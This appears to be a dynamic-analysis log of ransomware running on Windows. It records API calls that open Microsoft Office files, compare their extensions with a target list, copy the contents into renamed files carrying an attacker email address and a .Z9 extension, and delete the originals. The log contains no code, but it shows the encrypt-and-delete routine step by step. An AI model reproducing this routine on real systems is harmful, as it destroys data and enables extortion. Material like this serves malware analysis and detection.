	[0171.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\SPPRedist.msi") returned 64
	[0171.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\SPPRedist.msi") returned 64
	[0171.011] lstrlenW (lpString=".doc") returned 4
	[0171.011] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1
	[0171.011] lstrlenW (lpString=".docx") returned 5
	[0171.011] lstrcmpiW (lpString1=".docx", lpString2="t.msi") returned -1
	[0171.011] lstrlenW (lpString=".pdf") returned 4
	[0171.012] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1
	[0171.012] lstrlenW (lpString=".xls") returned 4
	[0171.012] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1
	[0171.012] lstrlenW (lpString=".xlsx") returned 5
	[0171.012] lstrcmpiW (lpString1=".xlsx", lpString2="t.msi") returned -1
	[0171.012] lstrlenW (lpString=".ppt") returned 4
	[0171.012] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1
	[0171.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\SPPRedist.msi") returned 64
	[0171.012] lstrlenW (lpString=".zip") returned 4
	[0171.012] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1
	[0171.012] lstrlenW (lpString=".rar") returned 4
	[0171.012] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1
	[0171.012] lstrlenW (lpString=".bz2") returned 4
	[0171.012] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1
	[0171.012] lstrlenW (lpString=".7z") returned 3
	[0171.012] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1
	[0171.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\SPPRedist.msi") returned 64
	[0171.012] lstrlenW (lpString=".dbf") returned 4
	[0171.012] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1
	[0171.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\SPPRedist.msi") returned 64
	[0171.012] lstrlenW (lpString=".1cd") returned 4
	[0171.012] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1
	[0171.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\SPPRedist.msi") returned 64
	[0171.012] lstrlenW (lpString=".jpg") returned 4
	[0171.012] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1
	[0171.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\SPPRedist.msi") returned 64
	[0171.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\SPPRedist.msi") returned 64
	[0171.012] lstrlenW (lpString=".doc") returned 4
	[0171.012] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1
	[0171.012] lstrlenW (lpString=".docx") returned 5
	[0171.012] lstrcmpiW (lpString1=".docx", lpString2="t.msi") returned -1
	[0171.012] lstrlenW (lpString=".pdf") returned 4
	[0171.013] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1
	[0171.013] lstrlenW (lpString=".xls") returned 4
	[0171.013] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1
	[0171.013] lstrlenW (lpString=".xlsx") returned 5
	[0171.013] lstrcmpiW (lpString1=".xlsx", lpString2="t.msi") returned -1
	[0171.013] lstrlenW (lpString=".ppt") returned 4
	[0171.013] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1
	[0171.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\SPPRedist.msi") returned 64
	[0171.013] lstrlenW (lpString=".zip") returned 4
	[0171.013] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1
	[0171.013] lstrlenW (lpString=".rar") returned 4
	[0171.013] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1
	[0171.013] lstrlenW (lpString=".bz2") returned 4
	[0171.013] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1
	[0171.013] lstrlenW (lpString=".7z") returned 3
	[0171.013] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1
	[0171.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\SPPRedist.msi") returned 64
	[0171.013] lstrlenW (lpString=".dbf") returned 4
	[0171.013] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1
	[0171.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\SPPRedist.msi") returned 64
	[0171.013] lstrlenW (lpString=".1cd") returned 4
	[0171.013] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1
	[0171.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\SPPRedist.msi") returned 64
	[0171.013] lstrlenW (lpString=".jpg") returned 4
	[0171.013] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1
	[0171.013] lstrcmpiW (lpString1=".msu", lpString2=".Z9") returned -1
	[0171.013] lstrlenW (lpString="Windows8-RT-KB2999226-x64.msu") returned 29
	[0171.013] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x64.msu" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8-rt-kb2999226-x64.msu"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c
	[0171.014] GetFileSizeEx (in: hFile=0x52c, lpFileSize=0x34aff14 | out: lpFileSize=0x34aff14*=1347630) returned 1
	[0171.015] CloseHandle (hObject=0x52c) returned 1
	[0171.015] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x64.msu" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8-rt-kb2999226-x64.msu")) returned 0x220
	[0171.015] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x64.msu.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8-rt-kb2999226-x64.msu.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0171.015] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x64.msu" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8-rt-kb2999226-x64.msu"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c
	[0171.015] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec0 | out: lpNewFilePointer=0x0) returned 1
	[0171.015] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec0 | out: lpNewFilePointer=0x0) returned 1
	[0171.015] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x64.msu.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8-rt-kb2999226-x64.msu.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0171.016] GetLastError () returned 0x0
	[0171.016] ReadFile (in: hFile=0x52c, lpBuffer=0x3ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34afecc, lpOverlapped=0x0 | out: lpBuffer=0x3ea0020*, lpNumberOfBytesRead=0x34afecc*=0xffff0, lpOverlapped=0x0) returned 1
	[0171.103] WriteFile (in: hFile=0x540, lpBuffer=0x3ea0020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x34afc94, lpOverlapped=0x0 | out: lpBuffer=0x3ea0020*, lpNumberOfBytesWritten=0x34afc94*=0xffff0, lpOverlapped=0x0) returned 1
	[0171.351] ReadFile (in: hFile=0x52c, lpBuffer=0x3ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34afecc, lpOverlapped=0x0 | out: lpBuffer=0x3ea0020*, lpNumberOfBytesRead=0x34afecc*=0x4903e, lpOverlapped=0x0) returned 1
	[0171.364] WriteFile (in: hFile=0x540, lpBuffer=0x3ea0020*, nNumberOfBytesToWrite=0x49040, lpNumberOfBytesWritten=0x34afc94, lpOverlapped=0x0 | out: lpBuffer=0x3ea0020*, lpNumberOfBytesWritten=0x34afc94*=0x49040, lpOverlapped=0x0) returned 1
	[0171.374] ReadFile (in: hFile=0x52c, lpBuffer=0x3ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34afecc, lpOverlapped=0x0 | out: lpBuffer=0x3ea0020*, lpNumberOfBytesRead=0x34afecc*=0x0, lpOverlapped=0x0) returned 1
	[0171.374] WriteFile (in: hFile=0x540, lpBuffer=0x3ea0020*, nNumberOfBytesToWrite=0x10e, lpNumberOfBytesWritten=0x34afc94, lpOverlapped=0x0 | out: lpBuffer=0x3ea0020*, lpNumberOfBytesWritten=0x34afc94*=0x10e, lpOverlapped=0x0) returned 1
	[0171.374] SetEndOfFile (hFile=0x540) returned 1
	[0171.374] CloseHandle (hObject=0x540) returned 1
	[0171.374] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec0 | out: lpNewFilePointer=0x0) returned 1
	[0171.374] SetEndOfFile (hFile=0x52c) returned 1
	[0172.215] CloseHandle (hObject=0x52c) returned 1
	[0172.215] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x64.msu.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0172.337] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x64.msu" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8-rt-kb2999226-x64.msu")) returned 1
	[0172.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x64.msu") returned 80
	[0172.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x64.msu") returned 80
	[0172.407] lstrlenW (lpString=".doc") returned 4
	[0172.407] lstrcmpiW (lpString1=".doc", lpString2=".msu") returned -1
	[0172.407] lstrlenW (lpString=".docx") returned 5
	[0172.407] lstrcmpiW (lpString1=".docx", lpString2="4.msu") returned -1
	[0172.407] lstrlenW (lpString=".pdf") returned 4
	[0172.407] lstrcmpiW (lpString1=".pdf", lpString2=".msu") returned 1
	[0172.407] lstrlenW (lpString=".xls") returned 4
	[0172.407] lstrcmpiW (lpString1=".xls", lpString2=".msu") returned 1
	[0172.407] lstrlenW (lpString=".xlsx") returned 5
	[0172.407] lstrcmpiW (lpString1=".xlsx", lpString2="4.msu") returned -1
	[0172.407] lstrlenW (lpString=".ppt") returned 4
	[0172.407] lstrcmpiW (lpString1=".ppt", lpString2=".msu") returned 1
	[0172.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x64.msu") returned 80
	[0172.407] lstrlenW (lpString=".zip") returned 4
	[0172.407] lstrcmpiW (lpString1=".zip", lpString2=".msu") returned 1
	[0172.408] lstrlenW (lpString=".rar") returned 4
	[0172.408] lstrcmpiW (lpString1=".rar", lpString2=".msu") returned 1
	[0172.408] lstrlenW (lpString=".bz2") returned 4
	[0172.408] lstrcmpiW (lpString1=".bz2", lpString2=".msu") returned -1
	[0172.408] lstrlenW (lpString=".7z") returned 3
	[0172.408] lstrcmpiW (lpString1=".7z", lpString2="msu") returned -1
	[0172.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x64.msu") returned 80
	[0172.408] lstrlenW (lpString=".dbf") returned 4
	[0172.408] lstrcmpiW (lpString1=".dbf", lpString2=".msu") returned -1
	[0172.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x64.msu") returned 80
	[0172.408] lstrlenW (lpString=".1cd") returned 4
	[0172.408] lstrcmpiW (lpString1=".1cd", lpString2=".msu") returned -1
	[0172.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x64.msu") returned 80
	[0172.408] lstrlenW (lpString=".jpg") returned 4
	[0172.408] lstrcmpiW (lpString1=".jpg", lpString2=".msu") returned -1
	[0172.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x64.msu") returned 80
	[0172.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x64.msu") returned 80
	[0172.408] lstrlenW (lpString=".doc") returned 4
	[0172.408] lstrcmpiW (lpString1=".doc", lpString2=".msu") returned -1
	[0172.408] lstrlenW (lpString=".docx") returned 5
	[0172.408] lstrcmpiW (lpString1=".docx", lpString2="4.msu") returned -1
	[0172.408] lstrlenW (lpString=".pdf") returned 4
	[0172.408] lstrcmpiW (lpString1=".pdf", lpString2=".msu") returned 1
	[0172.408] lstrlenW (lpString=".xls") returned 4
	[0172.408] lstrcmpiW (lpString1=".xls", lpString2=".msu") returned 1
	[0172.408] lstrlenW (lpString=".xlsx") returned 5
	[0172.408] lstrcmpiW (lpString1=".xlsx", lpString2="4.msu") returned -1
	[0172.408] lstrlenW (lpString=".ppt") returned 4
	[0172.408] lstrcmpiW (lpString1=".ppt", lpString2=".msu") returned 1
	[0172.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x64.msu") returned 80
	[0172.408] lstrlenW (lpString=".zip") returned 4
	[0172.409] lstrcmpiW (lpString1=".zip", lpString2=".msu") returned 1
	[0172.409] lstrlenW (lpString=".rar") returned 4
	[0172.409] lstrcmpiW (lpString1=".rar", lpString2=".msu") returned 1
	[0172.409] lstrlenW (lpString=".bz2") returned 4
	[0172.409] lstrcmpiW (lpString1=".bz2", lpString2=".msu") returned -1
	[0172.409] lstrlenW (lpString=".7z") returned 3
	[0172.409] lstrcmpiW (lpString1=".7z", lpString2="msu") returned -1
	[0172.409] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x64.msu") returned 80
	[0172.409] lstrlenW (lpString=".dbf") returned 4
	[0172.409] lstrcmpiW (lpString1=".dbf", lpString2=".msu") returned -1
	[0172.409] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x64.msu") returned 80
	[0172.409] lstrlenW (lpString=".1cd") returned 4
	[0172.409] lstrcmpiW (lpString1=".1cd", lpString2=".msu") returned -1
	[0172.409] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x64.msu") returned 80
	[0172.409] lstrlenW (lpString=".jpg") returned 4
	[0172.409] lstrcmpiW (lpString1=".jpg", lpString2=".msu") returned -1
	[0172.409] lstrcmpiW (lpString1=".xrm-ms", lpString2=".Z9") returned -1
	[0172.409] lstrlenW (lpString="AccessR_OEM_Perp-ppd.xrm-ms") returned 27
	[0172.409] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0173.227] GetFileSizeEx (in: hFile=0x540, lpFileSize=0x34aff14 | out: lpFileSize=0x34aff14*=20780) returned 1
	[0173.227] CloseHandle (hObject=0x540) returned 1
	[0173.227] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-ppd.xrm-ms")) returned 0x220
	[0174.430] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ppd.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-ppd.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0174.430] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c
	[0174.430] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.430] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.430] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ppd.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-ppd.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c
	[0174.437] GetLastError () returned 0x0
	[0174.437] ReadFile (in: hFile=0x52c, lpBuffer=0x3ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34afecc, lpOverlapped=0x0 | out: lpBuffer=0x3ea0020*, lpNumberOfBytesRead=0x34afecc*=0x512c, lpOverlapped=0x0) returned 1
	[0174.445] WriteFile (in: hFile=0x55c, lpBuffer=0x3ea0020*, nNumberOfBytesToWrite=0x5130, lpNumberOfBytesWritten=0x34afc94, lpOverlapped=0x0 | out: lpBuffer=0x3ea0020*, lpNumberOfBytesWritten=0x34afc94*=0x5130, lpOverlapped=0x0) returned 1
	[0174.447] ReadFile (in: hFile=0x52c, lpBuffer=0x3ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34afecc, lpOverlapped=0x0 | out: lpBuffer=0x3ea0020*, lpNumberOfBytesRead=0x34afecc*=0x0, lpOverlapped=0x0) returned 1
	[0174.447] WriteFile (in: hFile=0x55c, lpBuffer=0x3ea0020*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x34afc94, lpOverlapped=0x0 | out: lpBuffer=0x3ea0020*, lpNumberOfBytesWritten=0x34afc94*=0x10a, lpOverlapped=0x0) returned 1
	[0174.447] SetEndOfFile (hFile=0x55c) returned 1
	[0174.447] CloseHandle (hObject=0x55c) returned 1
	[0174.447] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.447] SetEndOfFile (hFile=0x52c) returned 1
	[0174.454] CloseHandle (hObject=0x52c) returned 1
	[0174.454] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ppd.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0174.455] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-ppd.xrm-ms")) returned 1
	[0174.456] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ppd.xrm-ms") returned 77
	[0174.456] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ppd.xrm-ms") returned 77
	[0174.456] lstrlenW (lpString=".doc") returned 4
	[0174.456] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0174.456] lstrlenW (lpString=".docx") returned 5
	[0174.456] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0174.456] lstrlenW (lpString=".pdf") returned 4
	[0174.456] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0174.456] lstrlenW (lpString=".xls") returned 4
	[0174.456] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0174.456] lstrlenW (lpString=".xlsx") returned 5
	[0174.456] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0174.456] lstrlenW (lpString=".ppt") returned 4
	[0174.456] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0174.456] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ppd.xrm-ms") returned 77
	[0174.456] lstrlenW (lpString=".zip") returned 4
	[0174.456] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0174.456] lstrlenW (lpString=".rar") returned 4
	[0174.456] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0174.456] lstrlenW (lpString=".bz2") returned 4
	[0174.456] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0174.456] lstrlenW (lpString=".7z") returned 3
	[0174.456] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0174.456] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ppd.xrm-ms") returned 77
	[0174.456] lstrlenW (lpString=".dbf") returned 4
	[0174.456] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0174.456] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ppd.xrm-ms") returned 77
	[0174.457] lstrlenW (lpString=".1cd") returned 4
	[0174.457] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0174.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ppd.xrm-ms") returned 77
	[0174.457] lstrlenW (lpString=".jpg") returned 4
	[0174.457] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0174.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ppd.xrm-ms") returned 77
	[0174.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ppd.xrm-ms") returned 77
	[0174.457] lstrlenW (lpString=".doc") returned 4
	[0174.457] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0174.457] lstrlenW (lpString=".docx") returned 5
	[0174.457] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0174.457] lstrlenW (lpString=".pdf") returned 4
	[0174.457] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0174.457] lstrlenW (lpString=".xls") returned 4
	[0174.457] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0174.457] lstrlenW (lpString=".xlsx") returned 5
	[0174.457] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0174.457] lstrlenW (lpString=".ppt") returned 4
	[0174.457] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0174.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ppd.xrm-ms") returned 77
	[0174.457] lstrlenW (lpString=".zip") returned 4
	[0174.457] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0174.457] lstrlenW (lpString=".rar") returned 4
	[0174.457] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0174.457] lstrlenW (lpString=".bz2") returned 4
	[0174.457] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0174.457] lstrlenW (lpString=".7z") returned 3
	[0174.457] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0174.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ppd.xrm-ms") returned 77
	[0174.457] lstrlenW (lpString=".dbf") returned 4
	[0174.457] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0174.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ppd.xrm-ms") returned 77
	[0174.457] lstrlenW (lpString=".1cd") returned 4
	[0174.457] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0174.458] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ppd.xrm-ms") returned 77
	[0174.458] lstrlenW (lpString=".jpg") returned 4
	[0174.458] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0174.458] lstrcmpiW (lpString1=".xrm-ms", lpString2=".Z9") returned -1
	[0174.458] lstrlenW (lpString="client-issuance-bridge-office.xrm-ms") returned 36
	[0174.458] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-bridge-office.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-bridge-office.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520
	[0174.459] GetFileSizeEx (in: hFile=0x520, lpFileSize=0x34aff14 | out: lpFileSize=0x34aff14*=3211) returned 1
	[0174.459] CloseHandle (hObject=0x520) returned 1
	[0174.459] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-bridge-office.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-bridge-office.xrm-ms")) returned 0x220
	[0174.459] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-bridge-office.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-bridge-office.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0174.459] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-bridge-office.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-bridge-office.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520
	[0174.459] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.459] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.459] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-bridge-office.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-bridge-office.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c
	[0174.462] GetLastError () returned 0x0
	[0174.462] ReadFile (in: hFile=0x520, lpBuffer=0x3ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34afecc, lpOverlapped=0x0 | out: lpBuffer=0x3ea0020*, lpNumberOfBytesRead=0x34afecc*=0xc8b, lpOverlapped=0x0) returned 1
	[0174.464] WriteFile (in: hFile=0x52c, lpBuffer=0x3ea0020*, nNumberOfBytesToWrite=0xc90, lpNumberOfBytesWritten=0x34afc94, lpOverlapped=0x0 | out: lpBuffer=0x3ea0020*, lpNumberOfBytesWritten=0x34afc94*=0xc90, lpOverlapped=0x0) returned 1
	[0174.465] ReadFile (in: hFile=0x520, lpBuffer=0x3ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34afecc, lpOverlapped=0x0 | out: lpBuffer=0x3ea0020*, lpNumberOfBytesRead=0x34afecc*=0x0, lpOverlapped=0x0) returned 1
	[0174.465] WriteFile (in: hFile=0x52c, lpBuffer=0x3ea0020*, nNumberOfBytesToWrite=0x11c, lpNumberOfBytesWritten=0x34afc94, lpOverlapped=0x0 | out: lpBuffer=0x3ea0020*, lpNumberOfBytesWritten=0x34afc94*=0x11c, lpOverlapped=0x0) returned 1
	[0174.465] SetEndOfFile (hFile=0x52c) returned 1
	[0174.465] CloseHandle (hObject=0x52c) returned 1
